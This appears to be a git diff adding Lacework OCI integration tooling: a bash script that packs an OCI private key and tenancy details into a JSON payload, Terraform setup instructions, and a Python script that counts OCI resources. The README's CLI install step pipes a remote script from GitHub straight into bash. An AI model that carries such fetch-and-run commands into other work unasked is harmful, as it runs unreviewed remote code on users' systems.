a/lw-oci-integration/bash/lacework_integration_payload.sh b/lw-oci-integration/bash/lacework_integration_payload.sh new file mode 100755 index 0000000..5d67883 --- /dev/null +++ b/lw-oci-integration/bash/lacework_integration_payload.sh @@ -0,0 +1,30 @@ +#!/bin/bash + +if ! which jq > /dev/null; then + echo "this script requires jq - install jq to continue" + exit 1 +fi + +OUTPUT_FILE="lacework_payload.json" + +# Values of 6 variables below should be changed before running script: + +LACEWORK_OCI_USERNAME="" +OCI_TENANCY_OCID="" +OCI_HOME_REGION="" +OCI_TENANT_NAME="" +LACEWORK_PRIVATE_KEY_PATH="" +LACEWORK_PRIVATE_KEY_FINGERPRINT="" + +LACEWORK_INTEGRATION_NAME="oci-$OCI_TENANT_NAME" +contents=$(cat $LACEWORK_PRIVATE_KEY_PATH) +formatted_contents=$(echo "$contents" | awk '{ printf "%s\n", $0 }') +jq -n \ + --arg fc "$formatted_contents" \ + --arg li "$LACEWORK_INTEGRATION_NAME" \ + --arg ohc "$OCI_HOME_REGION" \ + --arg oti "$OCI_TENANCY_OCID" \ + --arg otn "$OCI_TENANT_NAME" \ + --arg oui "$LACEWORK_OCI_USERNAME" \ + --arg fp "$LACEWORK_PRIVATE_KEY_FINGERPRINT" \ + '{"name": $li, "type": "OciCfg", "enabled": 1, "data": { "homeRegion": $ohc, "tenantId": $oti, "tenantName": $otn, "userOcid": $oui, "credentials": { "fingerprint": $fp, "privateKey": $fc }}}' > $OUTPUT_FILE diff --git a/lw-oci-integration/tf_module/README.md b/lw-oci-integration/tf_module/README.md new file mode 100644 index 0000000..e6066ef --- /dev/null +++ b/lw-oci-integration/tf_module/README.md @@ -0,0 +1,58 @@ + +## Lacework OCI Integration + +The OCI Terraform scripts can be run locally or through an OCI cloud shell. Using the OCI cloud shell is recommended, as it comes with Terraform pre-installed and helps with authentication. + +## Prerequisites + +1. terraform (recommend >=1.4.6: the version tested) + +prerequisites are satisifed by OCI cloud shell. + +## Prepare to run Terraform via OCI Cloud Shell + +1. Open the OCI cloud shell. For example: + 1. Log in to the OCI web console. + 2. Ensure that your home region is selected in the [**Regions**](https://docs.oracle.com/en-us/iaas/Content/GSG/Concepts/working-with-regions.htm) menu at the top right of the OCI web console. + 3. Click the Developer Tools icon next to the **Regions** menu and then [**Cloud Shell**](https://docs.oracle.com/en-us/iaas/Content/API/Concepts/cloudshellgettingstarted.htm). The cloud shell should appear with your current region indicated in the prompt at the bottom of the console. +2. Create a file main.tf containing (filling in values for tenancy_id and user_email): + ``` + module "lacework_oci_cfg_integration" { + source = "lacework/config/oci" + create = true + tenancy_id = "" + user_email = "" + } + ``` + +3. Install the Lacework CLI using the following command. Note that, in the OCI cloud shell, you must specify the install location explicitly, as follows: + ``` + curl https://raw.githubusercontent.com/lacework/go-sdk/main/cli/install.sh | bash -s -- -d /home/oci/bin + ``` +4. Configure the Lacework CLI with your API key. For details, see the [Create API Key](https://docs.lacework.net/cli/#create-api-key) and [Configure the CLI](https://docs.lacework.net/cli/#configure-the-cli) in the Lacework CLI documentation. + +Next, run Terraform and create the Lacework integration, as described in the next section. + +## Running Terraform + +1. Run the following command to initialize Terraform: + ``` + terraform init + ``` + +2. Now verify and generate a Terraform plan: + ``` + terraform plan + ``` +3. If `Terraform Plan` runs successfully with no errors, use the following command to create the required OCI resources: + ``` + terraform apply -auto-approve + ``` +4. List integrations to verify: + ``` + lacework cloud-accounts list -t OciCfg + ``` + +:::note +You may need to use the `--profile` option for the preceding Lacework CLI command, depending on your configuration. The default profile is used if you do not specify one. See [information on managing profiles](https://docs.lacework.net/cli#multiple-profiles) in the Lacework CLI documentation for more information. +::: diff --git a/lw-oci-integration/usage_metrics/README.md b/lw-oci-integration/usage_metrics/README.md new file mode 100644 index 0000000..f619d9a --- /dev/null +++ b/lw-oci-integration/usage_metrics/README.md @@ -0,0 +1,40 @@ +# OCI Usage Metrics +This directory contains a simple python script that can be executed in the OCI Cloud Shell to capture information about active counts per resource type. + +## Policy requirements +The script uses the search API to query resources in a tenancy. The user profile (`DEFAULT` profile in oci config) that runs the script needs the correct set of policies to run it successfully. These policies are the +same, or weaker than those needed to *collect* the resource information in a Lacework integration, which is presented in [the terraform script](https://github.com/lacework/terraform-oci-config/blob/main/main.tf). + +## Run the script + +1. Login to the Console in the tenancy and region with most data volume. +2. Click the Cloud Shell icon in the Console header. Note that Cloud Shell will execute commands against the region selected in the Console's Region selection menu when Cloud Shell was started. +3. Clone this repository + ``` + git clone https://github.com/lacework-dev/scripts.git + ``` +4. Change to the directory containing the python script + ``` + cd scripts/lw-oci-integration/usage_metrics/ + ``` +5. Run the script + ``` + python oci_usage_metrics.py + ``` +6. Verify csv file exists + ``` + ls -l OCIUsageMetrics.csv + ``` +7. Move the csv to the home directory + ``` + cp OCIUsageMetrics.csv ../../../OCIUsageMetrics.csv + ``` + +## Downloading the csv File + +To download a file from Cloud Shell: + +1. Click the Cloud Shell menu at the top left of the Cloud Shell window and select Download. The File Download dialog appears: +2. Type in the name of the file in your home directory that you want to download, should be `OCIUsageMetrics.csv`. +3. Click the Download button. +4. The File Transfer dialog will indicate the status of the download. diff --git a/lw-oci-integration/usage_metrics/oci_usage_metrics.py b/lw-oci-integration/usage_metrics/oci_usage_metrics.py new file mode 100644 index 0000000..d5aa72b --- /dev/null +++ b/lw-oci-integration/usage_metrics/oci_usage_metrics.py @@ -0,0 +1,23 @@ +import oci +import csv +counter = dict() +QUERY_STRING = "QUERY all resources where lifeCycleState != 'TERMINATED' && lifeCycleState != 'FAILED'" +search_client = oci.resource_search.ResourceSearchClient(oci.config.from_file()) +structured_search = oci.resource_search.models.StructuredSearchDetails(query=QUERY_STRING) +next_page = None +while True: + instances = search_client.search_resources(structured_search, page=next_page) + for instance in instances.data.items: + resource_type = instance.resource_type.lower() + if resource_type not in counter: + counter[resource_type] = 0 + counter[resource_type] += 1 + if not instances.next_page: + break + next_page = instances.next_page + +with open('OCIUsageMetrics.csv', 'w') as csvfile: + writer = csv.writer(csvfile) + writer.writerow(['Resource', 'Count']) + for row in counter.items(): + writer.writerow(row) \ No newline at end of file diff --git a/pwsh/lw_aws_inventory.ps1 b/pwsh/old-resource-scripts/lw_aws_inventory.ps1 similarity index 100% rename from pwsh/lw_aws_inventory.ps1 rename to pwsh/old-resource-scripts/lw_aws_inventory.ps1 diff --git a/pwsh/lw_azure_inventory.ps1 b/pwsh/old-resource-scripts/lw_azure_inventory.ps1 similarity index 100% rename from pwsh/lw_azure_inventory.ps1 rename to pwsh/old-resource-scripts/lw_azure_inventory.ps1 diff --git a/test/aws/test.sh b/test/aws/test.sh index 12b3f28..4a744ac 100755 --- a/test/aws/test.sh +++ b/test/aws/test.sh @@ -1,5 +1,6 @@ #!/bin/bash + #setup RDS example git clone https://github.com/terraform-aws-modules/terraform-aws-rds.git cd ./terraform-aws-rds/examples/complete-mysql